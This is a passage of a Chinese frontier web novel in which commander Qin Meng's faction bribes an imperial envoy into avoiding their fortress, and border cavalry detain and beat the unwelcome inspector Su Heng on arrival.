郡守林安国闻讯出迎,入眼便是白花花一片羊群,耳中充斥着“咩咩”之声,场面一时颇为“壮观”。
他还未及细看女儿是否安好,目光便被那披坚执锐、威风凛凛的亲侄儿林怒吸引过去。
而林婉儿,早已趁着父亲被堂兄和羊群吸引注意力的当口,拉着侍女小蛮,如同灵巧的燕子般,迅速越过后院门,溜回了内宅闺房。
只留下一句清脆的话语在风中飘荡。
“爹爹,这些肥羊是秦大哥特意送给您的年礼,聊表心意!”
林安国这才回过神来,发现女儿早已不见踪影,只得无奈地将目光转回。
林怒见状,立刻上前一步,拱手笑道:“叔父,秦大人还备了八坛‘北风烈’,外加数支上好的草原雪山参,嘱托小侄定要送到。秦大人说,叔叔为郡操劳,公务繁忙,务请保重身体。”
说话间,身后军汉已应声捧上酒坛与盛放着珍稀雪山参的托盘。
“哼!”林安国看着女儿消失的方向,又瞥了瞥眼前这些“厚礼”,心中五味杂陈,既有女儿安然归来的欣慰,又有对女儿的固执的不满。
他最终只能板起脸,阴沉着脸,没好气地哼道:“黄鼠狼给鸡拜年,那小子能安什么好心?”
就在此时,一名身着公差服、面带风尘之色的大汉匆匆闯入后院,疾步至林安国身前,低声禀告:“大人,幸不辱命,京城来人了。”
“此乃韩大人命属下加急送来的密信!”
那大汉边说边从怀里掏出一封信,递给林安国。
林安国看着这从京城回来的心腹,心中顿时一惊,京城来人,且附有恩官密信,绝非小事。
他再也顾不得眼前的肥羊和美酒,立刻脸色一肃,大声吩咐左右:“快!将这些羊都赶到后圈去,聚在此处,叫个不停,成何体统?”
衙役们连忙应声,驱赶着羊群,场面略显忙乱。
也就在林安国收到密信时,一支来自京城的钦差队伍,已抵达了边陲重镇——幽州城三十里外。
刺史崔文远身着绯色官袍,率大小官吏候在南门外,身后队列整肃。不远处,边防帅司的骑兵也勒马待命,玄色甲胄在雪原中泛着冷光。
这消息很快飘到城南周记生药铺。
老周正拨着算盘,听闻后,指尖猛地一顿,当即推开账本,取来密信笺提笔疾书。
墨迹未干,他便唤来心腹伙计,将信笺塞进油纸封:“快,骑双马抄近路,务必尽快送回去。”
第245章 升迁喜,军寨忧
正月初二,开年日,果然是个好日子。
自以雷霆万钧之势一举铲除盘踞燕北郡多年的董家及其党羽后,郡守林安国并未有丝毫停歇。
他对外宣称负伤,却投入了紧张的事后梳理之中。
手下人收集到的董家各种罪状、证据,堆积如山。
林安国亲自坐镇,带着几个心腹文书,连夜整理、核对、归类。将这些铁证如山的罪状,分门别类,条理清晰地写成了一份沉甸甸的奏报。
随后,他动用了朝廷中的关系,以六百里加急的速度,将这封关乎燕北郡未来的奏报直送京城。
朝廷里有熟人,办事效率果然惊人。
这才过去大半个月时间,京城方面就已经做出了明确的反应和任命。
消息最先传回了青阳郡城。
很快,一封由林怒亲自书写的密信,就送到了铁血军寨主寨的官署之中。
秦猛拆开火漆封口的信函,仔细阅读着上面的名字。
“庞仁果然成了郡巡检,”
“原县令韩齐,升任代理郡丞,”
“张崇兄弟,更是了得,升为了燕北郡统制官。”
“啧啧,这个新上任的都尉,竟然是陈家的老家主出面担任,”
“连核心的主簿位置,也换上了我们信得过的人。”
秦猛的手指轻轻点着信纸上的一个个名字,不禁啧啧感慨:“真,真是树倒猢狲散,一朝风云变幻,这燕北郡的势力格局算是彻底洗牌了。”
坐在一旁的幕僚赵开明探过头来,仔细观看信上内容。
他捋了捋颌下的胡须,眼露精光,摇头晃脑地称赞道:“早就听说这位新上任的林郡守不是简单人物,”
“如今看他这番人事安排,果然深谙官场平衡之道,实乃一位能臣干吏。”
秦猛闻言,颇感兴趣地转过头,好奇地问道:
“先生何以见得?”
赵开明在官场经验老到,微微一笑,侃侃而谈:“大人请看,林郡守在此次人事擢升中,并未一味提拔自己的亲信故旧,”
“而是严格按照在此次铲除董家事件中所立下的功劳大小,据实向朝廷奏报保举。”
“尤其高明的是,许多关键的职位,他直接推荐了郡城中那些素有清望、家风严谨的豪强家族中有真才实学子弟出任。”
“这一招,当真妙不可言。”
他顿了顿,继续深入分析:“如此安排,首先就避免了结党营私、任人唯亲的口实,让人抓不住把柄。”
“其次,又顺势赢得了郡内各大豪强家族的衷心支持与感激,将他们拉拢到自己的阵营。”
“可谓是一举多得,能够以最快的速度稳定住铲除董家后的混乱局面,巩固自己的权力根基。”
“至于大人您,”赵开明话锋一转,目光落在秦猛身上,语气带着祝贺:“被朝廷正式擢升为‘破虏将军’。”
“虽说是个杂号将军,但此衔本身就已证明,林郡守在奏报中必然提及了您率军伏击狼戎之功。”
“而且,奏报中对您定然是美誉有加,不吝赞赏之词。”
“否则,兵部的任命文书和赏赐,绝无可能如此迅速地下达。”
秦猛听着幕僚这番抽丝剥茧、透彻入理的分析,非但没有露出喜色,眉头反而渐渐皱了起来。
他叹了口气,语气带着几分无奈和不满:“一个‘破虏将军’的荣誉头衔,再加上几套官服衣赐、华而不实的甲胄,以及区区些许银钱。”
“这些东西,于我而言,有何实际用处?我秦猛缴获甚多,军寨之中,难道就缺这些玩意儿吗?”
他越说越是发愁,忍不住又摇了摇头,重重叹了口气:“我正是为此等虚名浮利而发愁啊!”
赵开明与另一旁的诸葛风对视一眼,都是不解。
赵开明忍不住问道:“大人,您这是为何发愁?”
诸葛风也投来疑惑的目光。
秦猛看着两位心腹,决定实话实说,道出心中的担忧:“咱们铁血军寨升格建制不久,”
“近来又广纳流民,看似人丁兴旺,实力大增。”
“然而树大招风,未必是福。”
“朝廷钦差此番前来宣旨犒赏,”
“幽州方面,帅司衙门,必定会派遣大队人马随行护送、监视。”
“这浩浩荡荡一群人,鱼龙混杂,其中难免混有意图不轨、嫉妒而想找我们麻烦的牛鬼蛇神。”
“他们若是借此机会,以瞻仰军容、体察边情为名,非要来我这军寨‘巡视’一番,探得虚实。届时,我们该如何应对?岂不是天大的麻烦?”
赵开明和诸葛风听完这番分析,方才恍然大悟。几乎同时倒吸了一口凉气,脸上豁然变色。
“嘶……大人所虑极是!”
“我等竟一时被升迁喜讯所惑,未能深思此层利害关系!”
秦猛眉头紧锁,继续说出更深层的忧虑:“还有,那与我们结下仇怨的崔文远老儿,”
“他岂会放过这个千载难逢的良机?”
“定会趁此朝廷钦差在场、我等难以公然抗命之时,强行塞些心腹人手到我这里来‘走马上任’,安插钉子。”
“若在钦差面前当场拒绝,终究是扫了朝廷颜面,授人以柄,大为不妥。”
“可若是忍气吞声接了这些人,日后我这军寨之内,必然耳目繁杂,帅司再想卡我们的粮饷军械,我们就连哭穷申诉的余地都没有了!”
“这事儿,才是真正棘手的**烦!”
秦猛说完,心中不禁暗自嘀咕埋怨:林郡守此番,怕是好心办了点坏事,无端将我这军寨推到了风口
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浪尖,惹来这许多潜在的麻烦。
诸葛风面色也变得极为凝重,捻着胡须,低头沉思良策。
忽然,他眼中精光一闪,猛地一拍自己的大腿,低喝道:
“有了!”
“大人不必过于忧心!”
“即便那姓苏的真的来了,我们也有的是办法应付。”
“大不了随便找个由头,给他个清闲无比的虚职高高挂起,轻易打发了便是。大人莫非忘了?”
“咱们的铁血军寨,如今可不是只有这一处主寨!”
“我们还有双涡堡、芦苇堡这两处重要支点!”
“芦苇堡!”秦猛听到这三个字,先是一怔,随即眼前一亮,仿佛一道闪电划破了心中的迷雾。
原本他布满愁苦的脸庞,瞬间如同云开雾散,浮现出一抹豁然开朗、带着几分狡黠的笑容。
赵开明也抚掌笑道:“正是此理!车到山前必有路,大人无需过分担忧那些朝廷来人。”
“他们千里迢迢而来,在这苦寒之地奔波遭罪。所求无非是‘财’、‘稳’二字。我们便备上一份厚厚的程仪,让他们不虚此行,满意而归即可。”
“眼下这北疆仍是天寒地冻,冰雪覆盖,道路难行。”
“京城里来的那些养尊处优的贵人,谁愿意在这种鬼地方久留、冒险?”
“只怕他们自己心里也一百个不愿意继续北上,来我们这苦寒边塞之地活受罪呢。”
秦猛听完,脸上愁容消散,连连点头称是。立刻扬声向门外呼唤:“**!牛五!”
待二人应声而入,肃立听命。
秦猛迅速下达指令:“你们二人即刻去寻王老爷子。让他从库房里精心挑选,准备两份像样子的厚礼,务必厚重、得体,能上得了台面。”
“再去圈里,挑上二十头肥羊。”
“另外,搬出十坛窖藏了些时日的‘北风烈’好酒!”
憨直的牛五挠了挠头,有些不解地问道:
“将军,为何要准备两份厚礼?”
秦猛解释道:“其中一份,是给庞仁那小子准备的。”
“他刚刚升了官,正是需要用钱打点、树立威信的时候,自个儿又是个穷光蛋,兜里比脸还干净。”
“你派人给他送过去,连带着肥羊酒水一同押运。”
“顺便,务必要亲口告诉他……”秦猛压低了声音,仔细嘱咐道。
“就说北边山道积雪深厚,路滑难行。而且近来边境不宁,时常有**游骑出没,劫掠商旅,难保不会来袭,极其危险,安全难有保障。”
“千万、千万要设法,如与人合纵联横,劝说钦差队伍,绝对不要往我们军寨这个方向来!”
“得令!”**和牛五立刻抱拳,朗声应道。
两人转身,快步离去安排相关事宜。
第246章 酒肉酣,愁送礼
夜幕渐渐笼罩北疆大地,风雪忽地又大了一些。
然而,燕北郡新任郡巡检庞仁的驻地内却是另一番景象。
“阿嚏!阿——嚏!”
巡检司驻地那宽敞却简陋的伙房内,郡巡检庞仁,正与唐****、刘大头等一干老部下军官围坐在一起,大口喝酒,大块吃肉,大声吹牛。
他正红光满面、唾沫横飞地吹嘘着日后要如何带着兄弟们吃香喝辣。
突然间,庞仁毫无征兆地连打了几个喷嚏。揉了揉发痒的鼻子,非但没觉得晦气,反而觉得一股热气从脚底窜起,整个人精神愈发焕发。
“瞧瞧!准又有好事惦记着咱老庞了!”
他举起面前的粗瓷海碗,里面晃荡着略显浑浊的土酿米酒:“兄弟们,今晚都放开肚皮,可劲儿造!”
“跟着我庞仁,别的大话不敢说,保管让你们以后一天三顿饭,天天吃饱,腰包越来越鼓!”
“等攒够了钱,个个都**娶上俊俏的婆娘,给老子生他一大窝胖小子,开枝散叶!”
伙房里,热气蒸腾,肉香扑鼻。
几口大铁锅里,大块大块的薄马肉、猪肉正咕嘟咕嘟地翻滚着,散发着令人垂涎的香气。
旁边箩筐里,刚出笼的白面馒头堆得像小山一样高。
底下的兵卒们欢声雷动,个个脸上洋溢着发自内心的笑,敲着碗筷大声欢呼:“恭喜庞大人高升!”
“贺喜庞巡检步步高升!”
欢呼声、笑闹声几乎要掀翻这简陋的伙房屋顶。
此刻,外面北风呼啸,雪花纷飞。但巡检司驻地内却灯火通明,人声鼎沸,充满了喜庆热烈的气氛。
约莫半个时辰前,郡城衙门派来道喜的吏员才刚刚离开。
正式宣告了庞仁的升迁任命——因前番协助剿灭董家“反贼”,稳定燕北郡地方治安有功。
经郡守林安国具折保奏,朝廷特旨,擢升庞仁为燕北郡巡检!
官品级定为七品,名称未变,但此“郡巡检”已非昔日知县麾下那个小小的“县巡检使臣”可比。
乃是统管全郡主要关隘镇守、地方巡防、剿匪缉盗事宜的实权武职!
有权在郡内五处交通要冲或险隘之地设立巡检分司!
麾下直辖的兵额,由原先的三百人骤然上涨至一千人!
若再沿用以往的老法子,私下招募些身家清白、老实可靠的民壮加以严格训练。那么,实际能掌控、调动的兵力达到两三千人不成问题。
果然,应了当初秦猛私底下对他鼓励的那般!
他庞仁一旦起来,这势头、这实权,怕是张富贵、秦大壮那些老伙伴绑在一块儿也比不过了。
风头盖过了曾经的玩伴,想到此处,庞仁心中更是畅快无比,意气风发,只觉得前途一片光明。
故此,一接到这正式的任命消息,
他立刻大手一挥,下令:杀猪!宰羊!
大锅炖肉,白面馒头管够管饱,让兄弟们今晚抛开顾忌,狠狠吃上一顿好的!
至于酒嘛,则是严令只能少量饮用,浅尝辄止,绝不可畅饮误事。
庞巡检始终牢牢记着秦猛的郑重警告,
更是亲眼见识过契丹大当户及其手下因酗酒烂醉如泥、最终被夜袭营寨、一锅端掉的惨痛教训。
心腹都头唐****凑近前来敬酒,脸上带着喜色,却也压低声音提醒道:“庞哥,高升是大喜事,您手头实权更重,兄弟们都跟着沾光。”
“不过,我听说钦差的队伍,已经抵达幽州城。再过几天,恐怕就要到咱们郡城来宣读圣旨了。”
“咱们……是不是也得提前准备份像样点的礼物?到时候好歹打点一下这京城来的天使?”
“免得失了礼数,被挑了毛病。”
庞仁闻言,眼睛一瞪,酒意似乎都醒了几分,语气带着十足的不爽:“打点?打点个屁!”
“老子当这官才多久?俸禄就那么几个死心眼子的铜钱!”
“咱又不屑于去搜刮地皮,盘剥百姓,向来是两袖清风!”
“立功赏赐我都给老娘存着,老人家还没捂热,又去要回来?这种打脸的事儿老子做不出来。”庞仁饮尽杯中浊酒,脑袋摇得跟波浪鼓似的。
“反正现在兜里比脸上还干净,就剩几两银子傍身。那些从京城里来的、眼睛长在头顶上的大爷们胃口大得很,咱这点家当可不够看嘞!”
性格较为稳重的都头刘大头沉默片刻,放下手中的筷子,谨慎地开口道:“大人,话虽如此,理也是这个理,但官场之事马虎不得。”
“可秦将军以前闲暇时也曾说过,官场如战场,其中的水很深。再说了,这年节被派来这边陲苦寒之地宣读圣旨,本身也是趟辛苦差事。”
“大冬天的赶路,嘴巴都能冻得发紫,脚上长满冻疮。”
“若是一点好处都不给,这群家伙表面或许不说,内心定然记恨。回去之后在吏部兵部随便说几句咱们的坏话,穿点小鞋,可就后患无穷了。”
唐****附和着:“对对对,就怕鸡蛋里挑骨头。”
“那……那你说该咋办?”庞仁被哼哈二将这一唱一和说得彻底清醒过来,心
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下惴惴不安起来。
他环视一圈,目光扫过唐****、刘大头以及其他几位都头。
“你们几个,谁手头宽裕?先凑点出来应应急?”
“没有……”
“真没有,大人……”
“俺们那点饷银,您还不知道吗……”
凡是被他目光扫到的人,都把头摇得像拨浪鼓,刘大头和唐****同样说着没有,一个交给婆娘,一个给了老爹,身上几块散碎银子。
“就知道你们这帮小子靠不住!”
庞仁顿时骂骂咧咧,有些烦躁地抓了抓头发。
忽然,他眼睛一亮,带着几分试探的语气问道:
“要不……咱们去圈里抓几头肥羊凑数?”
“或者,把那几条马鞭再搞几个‘羊欢喜’一起送过去?就说是边塞特产,给他们好好补补身子骨?”
一旁的唐****正喝了一口酒,听到这话差点没被呛得背过气去,连连咳嗽,脸憋得通红。
好不容易顺过气,他急忙摆手:“别……庞哥!万万使不得!”
“送这些下水货,您这哪是送礼,简直是结仇啊!”
“这要送出去,怕是官印还没捂热乎,就得被人家一道**奏章给参掉了!”
“这也不行,那也不行,那咋办?你说到底该咋办?”庞仁有点抓狂了,急得在屋子里直转圈。
突然,他猛地一拍自己锃亮的脑门,嚷道:“有了!要不咱们现在就派人快马去军寨,向秦将军汇报情况,申请笔财物专门用来打点钦差?”
哪知道,他这话还没完全落音,
一个守在门外的军汉就急匆匆闯了进来,脸上带着兴奋的神色,大声禀报:“大人!大人!好事,天大的好事!”
“秦将军派人从军寨送来好多礼物!”
“带队的王部将还说,秦将军特意有话交代您,让您用这些礼物,代为打点即将到来的钦差队伍……”
“哎哟!我滴个亲娘嘞!”
庞仁听到这汇报,简直不敢相信自己的耳朵。他猛地从椅子上一蹦三尺高,嘴巴咧得都快到耳朵根了,脸上的愁容瞬间被狂喜取代。
“真是想什么就来什么!”
“关键时刻,还是得咱们将军啊!背后有靠山就是好!”
他一边兴奋地嚷嚷着,一边赶紧整理了一下自己的衣冠。转头看向众人:“都还愣着干什么?”
“快!随老子亲自出去,迎接军寨来的弟兄们!”
说着,庞巡检率先大步流星地朝驻地外走去。唐****、刘大头等人也喜笑颜开地赶紧跟上。
第247章 风雪迎钦差
正月初六,晌午时分。
燕北郡城外的茫茫雪原上,出现了一支浩浩荡荡的队伍。
近两百人的钦差队伍,在幽州官员和帅司骑兵的簇拥下,终于抵达了燕北郡这座边塞郡城。
队伍旌旗招展,人马虽显疲惫,但气氛却颇为热络。
自幽州城一路行来,地方上的打点与丰盛酒宴,早已让这些京城来客身心俱暖。连北地的酷寒似乎也褪去了几分,脚上的冻疮仿佛也不再痒了。
他们在这雪原上行进,说说笑笑,仿佛不是来宣旨,而是来游山玩水。
早在二十里外,郡城的探马便已飞报回城。
以郡守林安国为首,代郡丞韩齐、郡都尉**等大小官吏,早已冒着凛冽寒风,在城外官道旁迎候。
队伍渐近,车马辚辚。
林安国整理了一下被风吹得微乱的绯色官袍,脸上堆起惯常的从容笑意,快步迎上。他早从京城送来的密信中知道这次带队人是谁。
“宋大人!当年扬州一别,却已数年,不想在这北地风雪中重逢,林某有失远迎,还望海涵啊!”
林安国声音洪亮,对着钦差正使、宣敕使宋廉拱手施礼,语气中带着恰到好处的熟稔与热情。
宋廉是个面容白净、略显富态的中年官员,虽只是从六品衔,在京城算不得什么,但此刻代表的是天子颜面。
“原来是林大人!”他掀开轿帘,露出颇为受用的笑容,在林安国的虚扶下踏着脚凳下了马车。
“林郡守太客气了!久仰这些年林兄为官清正,这燕北在林郡守治下,政通人和,颇有气象。”
“今日一见,这迎候的规制,足见用心啊。”
他目光扫过林安国身后一众恭敬垂首的官吏,微微颔首,下意识地挺了挺本就笔直的腰板。
“宋大人过奖,全赖朝廷威德,将士用命,林某岂敢居功?”
“这位是郡丞韩齐,这位是都尉**,这位是郡兵统制张崇……”林安国熟练地引见着身边要员。
双方立刻响起一阵“久仰”、“幸会”的寒暄声,气氛热烈而官方,充满了官场特有的虚伪与客套。
人群中,庞仁缩在靠后的位置,脸上挂着近乎谄媚的笑容,眼光却像刀子一样,冷冷扫过那些簇拥在钦差身旁、极力奉承的幽州官吏。
他心中暗自鄙夷:“呸,一群舔痔吮痈之辈,看你们能得意几时?”
大队人马浩浩荡荡入城。
尽管天寒地冻,郡守林安国还是尽力营造出了足够的排场,净水泼街,百姓驻足,以显示对天使的尊重。
午后,郡守府内喜气洋洋,热浪驱散了严寒。
杀猪宰羊,大摆宴席。
林安国作为东道主,亲自作陪宋廉,幽州来的官员、帅司将官以及本地有头脸的官员如庞仁等,皆在席间。
觥筹交错,笑语喧哗。庞仁圆脸上笑容可掬,如同绽开的老菊,端着酒杯穿梭于各桌之间。
敬酒、说好话,那是贼溜无比。
他尤其围着那些京城来的低阶官员和幽州方面的随员打转。
几杯黄汤下肚,便与人口称兄弟,勾肩搭背,显得异常热络。
似无意间,他便打探到了不少关键消息:钦差队伍在幽州收了哪些厚礼、某些官员的脾气喜好如何。
更重要的是,他确认了幽州方面趁此机会往燕北郡安插了一个姓孙的判官,而那个名为苏珩的军寨监镇官,果然也随队前来,席间对幽州上官和钦差极尽奉承之能事,意图再明显不过。
宴席散后,庞仁脸上的醉意瞬间消散,取而代之的是精明与冷厉。
他立刻唤来心腹唐****,拉到僻静处,低声急速吩咐:
“你速速返回军寨,禀报秦将军!”
“就说果然不出大人所料,幽州那帮老杂**动手了!”
“一是往郡里塞了个判官孙淼,是幽州孙家的人,来分林大人的权!”
“二是军寨那个监镇官苏珩已经来了,此獠在宴席上全程阿谀奉承,令人作呕,绝非善类!”
“你务必亲自告知将军,此等货色,乃是害群之马。决不能让其踏入我军寨半步,搅扰防务!”
“得令!”唐****二话不说,抱拳领命,转身而去。
很快,几匹快马冒着刺骨寒风,冲出青阳郡城,直奔铁血军寨方向而去。
庞仁目送快马离开,眼中闪过一丝阴鸷:“哼,想狗仗人势?踩着军寨往上爬?老子偏不让你如意!”
他随即行动起来,先找到郡城地方军统制官、同样对幽州插手燕北郡事务而深感不满的张崇。
两人密室商议,如何利用“打点”钦差的机会,联合本地势力,给幽州来的人一个下马威。
很快,在庞仁与张崇的连番运作下,郡丞韩齐(与秦猛利益一致)、郡都尉**(林安国提拔)、郡主簿**等实权人物,以及三班六房的案首、班头等重要胥吏,被悄然**在一处郡丞衙署内。
“诸位,”庞仁见人来得差不多了,开门见山,脸色严肃:
“官场如战场,水浑得很!”
“如今判官空降,监镇官虎视眈眈,分明是要瓦解我等,分权掣肘!”
“若我等还是一盘散沙,甚至相互倾轧,迟早被各个击破,边塞也不稳妥,丢了饭碗乃至性命!”
张崇立刻拍案附和:“庞兄弟所言极是行。
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十多年未有判官,突然派来这孙淼,还有那苏珩,一看就是崔文远的爪牙!”意图不言自明!”
“咱们必须抱成团!”张崇语气加重。
韩齐亦肃然环视众人:“不错!唯有以林大人马首是瞻,同心同德,方能在这燕北立足!”
“否则,今日是他,明日就可能是在座任何一位!”
被林安国一手提拔的**立刻表态:“我家老爷子说过,一切听凭林大人吩咐!”
“俺也一样。”**也跟着附和。
其他各部文案、班头见几位大佬意见一致,也纷纷表态,选择站队,力求成为一根绳上的蚂蚱。
“既如此,”庞仁顺势提出计划,“这次打点钦差,便是我们‘燕北团体’第一次联手行动。”
“大伙不要乱跟风,要根据自身经济情况和官职重要程度,分批次、有秩序地去拜访孝敬。”
“更重要的是,口径要一致!”
他压低声音:“务必让宋天使觉得,北上军寨,危险重重,毫无必要,留在郡城方为上策!”
众人心领神会,纷纷点头。
于是,在接下来的两天里,宋廉下榻的驿馆门庭若市。
燕北郡的官员们“循例”前来“孝敬”,礼物轻重不一,但态度恭敬,说辞更是惊人的一致。
无不渲染边塞如何不宁,董袭残部与狼戎、契丹骑兵如何活动频繁,风雪如何阻路,旅途如何艰险……
总之,极力劝说宋廉不可冒险,留在安全的郡城,派个低阶属吏或将敕书交由边军递送即可。
轮到庞仁和张崇再次来访时。
庞仁亲手捧上一个沉甸甸的礼盒,满脸堆笑:“宋大人,这是铁血军寨秦将军一点心意,边塞特产,些许炒豆子,不成敬意,给您尝尝鲜。”
宋廉接过礼盒,那沉甸甸的手感和内里细微的金属碰撞声,让他心领神会,脸上的笑容顿时真诚了三分。
张崇紧接着道:“大人,林郡守再三叮嘱,绝不能让你以身犯险。这北上之路,确实凶险万分。”
“不如在郡城盘桓几日,检阅一下我军营伍,秦将军也送来了肥羊美酒,正好可观雪景,体察边塞风情,岂不美哉?”
你唱我和,滴水不漏。
众口铄金,积毁销骨。
本就对苦寒边塞心存畏惧的宋廉,看着满屋的“土仪”和听着众人众口一词的“忠告”,心中早已动摇。
毕竟,谁愿意真的去那冰天雪地、刀兵四伏的前线冒险?
收了如此厚礼,顺水推舟做个方便,既全了人情,又保了自身平安,何乐而不为?
他脸上虽未明确表态,但心中的天平已彻底倾斜。
第248章 苏珩的‘上任\’囚途
第二日,大清早,寒风呼啸。
苏珩意气风发地让随从备好马车,打算走马上任。就在准备妥当的时候,只等钦差队伍赶来。
然而,不久后,就有消息传出,宣敕使宋廉大人昨晚不慎染上风寒,卧床不起,无法起程。
哦吼!收了好处要去的人去不了了。
想仗着京城来使,狐假虎威的计划胎死腹中!
即将赴任的监镇官苏珩彻底凌乱在凛冽的寒风之中。
很快,这条消息也传到铁血军寨。
秦猛看着庞仁送来的情报,知道他已经按照计划行事,盯着红笔标注的苏珩二字,冷哼。
“你最好识趣一点,原路返回幽州,敢跑到我这儿来耀武扬威,拿着鸡毛当令箭,门都没有!”
随后,他率领队伍前往军营,投入冬季训练。
雪越下越大,北风卷着雪片刮过苍茫的旷野。
然而,这酷寒天气挡不住北地儿郎保家卫国的决心。
军寨之外,多座营地如同蛰伏的巨兽。
赵起将军麾下的数千精锐正轮番操练。
铁血军寨步兵大队,弓箭手大队,骑兵大队在风雪中一次次结阵冲杀,每一次突进都悍如铁流。
弓箭手们的手指早已冻得通红,却仍稳定地引满弓弦,箭雨尖啸着劈开风雪,精准命中远处的靶心。
骑兵队伍更是马蹄翻腾,雪泥四溅,马上的儿郎们挥动着雪亮的马刀,劈砍堆积的雪人。呵出的白气在眉睫结霜,眼神却比刀锋更亮。
就连随军的民兵,劳力也被编成数队,轮班上阵。一面清扫营中积雪,维持通路通畅,一面扛着刀盾演练阵型,号子声整齐划一。
整个营地,无人闲卧,处处是震天的喊杀与昂扬的斗志。
风雪虽狂,却在这片钢铁般的热情面前黯然失色。
腊月初八,铁血军寨后方的校场上,风雪呼啸,卷起千堆雪。
秦猛一身黑色劲装戎服,外罩重甲,正在雪中策马奔驰。只见他身体低伏,与胯下雄健的战马几乎融为一体,仿佛成为了这风雪的一部分。
踏雪乌骓四蹄翻腾,溅起阵阵雪雾。
秦猛目光锐利,弯弓搭箭,动作流畅而充满爆发力。
“嗖!”
“嗖!”
“嗖!”
接连三箭,箭矢破开风雪,发出尖锐的嘶鸣,精准无比地钉在百步之外那不断晃动的箭靶红心之上,入木三分,箭尾兀自剧烈颤动。
“好箭法!”在一旁按刀观看的军卒忍不住大声喝彩。
经过这段时间的苦练,秦猛的骑射进步神速,可谓一日千里,袁飞,阮大兄弟赞叹不已。许多军中擅射的精锐,如今更是望尘莫及了。
秦猛勒住战马,胸膛微微起伏,呼出大口大口的白气。他清楚是后世射击天赋,脸上并无得色。
“乱世将至,唯有力强,方能自保,方能保境安民。”
“日常操练,乃立身之本,不可有一日懈怠。”
“否则如逆水行舟,不进则退!”他的声音沉稳,在风雪中清晰地传入亲兵耳中,令众人肃然。
就在这时,一骑快马如离弦之箭,冲破重重雪幕,直奔校场而来。
马蹄践雪,声如擂鼓。
斥候飞身下马,单膝跪地,抱拳急报:
“禀大人!”
“寨外五里,发现一队人马,约三十余人,并未先行通报,却打着幽州旗号,正向军寨而来!”
“哦?”秦猛眼神瞬间锐利如刀,勒转马头:“未通报?”
“那来者何人?”王善,鲁真呵问。
斥候抬头,语气肯定:“风雪太大,看旗号与车仗,像是……像是幽州来的监镇官苏珩一行。”
秦猛嘴角勾起一抹冰冷至极的笑意,那笑意却未达眼底:“不请自来,又不通禀,视我军寨为何地?”
“游乐之所吗?”
“传令!”秦猛脸色转冷,大喝道。
“点一哨骑兵,随我出寨!将他们拦下,严加盘查!”
“若有反抗,格杀勿论!”
最后四个字,带着凛冽的杀意,融入风雪之中。
“得令!”
亲兵轰然应诺,立刻飞马传令。
“我去,我也去。”几个亲兵队长争先恐后地叫嚷。
片刻之后,营门大开,**和秦小六率领着数十名如狼似虎、刀枪出鞘的骑兵,人人眼露凶光。如同决堤洪流,冲向风雪弥漫的寨外。
与此同时,寨外风雪中,苏珩乘坐的精致马车正顶风前行。
厚厚的积雪难行,车厢颠簸,远不如幽州城舒适。
他怀里紧紧揣着幽州刺史府签发的任命公文,想着即将到任后,如何利用监镇官的身份制约那个嚣张跋扈的武夫秦猛,如何像往常那般攫取权力谋夺私利,如何向崔刺史交差。
按规矩,地方派人到边寨上任,需要经过一系列流程,首先得帅司批准,再派遣将官陪同。
奈何,来宣读圣旨的钦差队伍正使宋大人病倒了,帅司吴偏将上马的时候,不小心扭了脚。
两支队伍无人领头,来不了。
苏珩着急赴任,等了两天,便不等了,带队赴任。
他心中既有因钦差未至、场面冷清而憋下的火气,却又有一丝即将首次手握兵权的兴奋。
护送队伍的幽州厢军都头李双,拍马来到车旁,小心翼翼地问道:“苏大人,眼看就要到军寨了。是否先派个弟兄,快马前去通报一声?”
“也好让军寨有个准……”
“什么?派人通报?”马车一侧车帘猛地被掀开,露出苏珩那张因寒冷和怒气而有些发青的脸。
“本官是奉刺史府之命,前来上任的军寨监镇官!理应由他秦猛开中门,率众出迎三里地。”
“还要本官先去通报?”
“他一个边陲武夫,也配这等架子?”
“真是岂有此理!”苏珩憋了一路的火气终于爆发出来,将钦差染病、帅司推诿、无人替他撑场面的怨气,都撒在了可怜的李都头身上。
李双被骂得缩了缩脖子,噤若寒蝉,再不敢多言,只得硬着头皮,护着车仗,继续向前。
然而,就在距
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离军寨望楼已清晰可见,甚至能隐约看到寨墙上巡逻士兵身影之时,骤变突生!
如雷鸣般的马蹄声从侧翼雪丘后暴起!
只见大队顶盔贯甲、刀枪闪烁着寒光的骑兵,如同神兵天降,从三个方向迅猛包抄而来。
动作迅捷,阵型严整,瞬间将苏珩一行三十余人团团围住,水泄不通。
冰冷的矛尖和箭簇,在灰白的天光下散发着死亡的气息。
为首的亲兵队长秦小六面覆寒霜,声如洪钟,压过了风声:“呔!“前方何人?擅闯军事重地!”
“立刻下马,放下武器,双手举过头顶,接受检查!”
苏珩何曾受过这等对待?
他又惊又怒,猛地钻出马车,站在车辕上,努力挺直腰板,挥舞着衣袖,尖声叫道:“放肆!我乃幽州刺史府任命的铁血军寨监镇官苏珩!”
“有刺史府公文在此!尔等岂敢如此无礼……”
他试图掏出怀中的公文,以证明身份。
秦小六根本不等他说完,也懒得看他掏什么公文。他板着脸瞪着眼,严肃地宣读边塞铁律:“此地乃是边陲,凡十人以上的队伍未经通报,便靠近边防重地,按律,皆是可疑之人。”
“放肆,我乃……”苏珩以为自己听错了,大声吼叫。
“聒噪,拿下!”**厉声下令,毫不留情。
“如有违抗者,皆以草原奸细论处,格杀勿论!”
“得令!”如狼似虎的边军骑兵应声,一拥而上。
不由分说,两人一组,熟练地将苏珩及其随从、税吏、文案,连同那些幽州厢军,全部粗暴地拽下马来。
反剪双手,用绳索迅速捆缚,然后狠狠按倒在冰冷的雪地里。
任凭苏珩如何叫骂、挣扎、试图出示公文,都无人理会。反倒有人踢黑脚打黑拳,只听到苏大人惨叫声不断,发冠被打掉,披头散发。
冰冷的雪沫灌了他满嘴满脸,呛得他连连咳嗽。华丽的官袍被撕扯得凌乱不堪,沾满了污雪,冻得瑟瑟发抖,状如疯狗,狼狈至极。
“你们……你们这是**!”
“啊——秦猛,秦猛你个匹夫!我要向崔刺史参你……参你跋扈擅权,意图谋反,袭击上官……”
苏珩的声音在风雪中显得绝望而凄厉,充满了不敢置信的**。
“大胆,竟敢辱骂朝廷命官,给他几个大嘴巴子,再堵上嘴!”秦小六冷喝一声,满是厌恶。
**,
暴力倾向明显的**亲自上前,奋力狂甩苏珩嘴巴子。打得他口鼻窜血,终身难忘这一顿打。
一块不知原本用途的破布,带着些腥骚之气,狠狠塞进了他喉管里,将恶毒咒骂变成了呜咽。
很快,这一行怀揣着“上任”憧憬、本以为可以狗仗人势的队伍,连同他们的马车、行李,如同被捕获的牲口一般,被这群彪悍冷酷的边军将士连拖带拽,粗暴地押往铁血军寨。
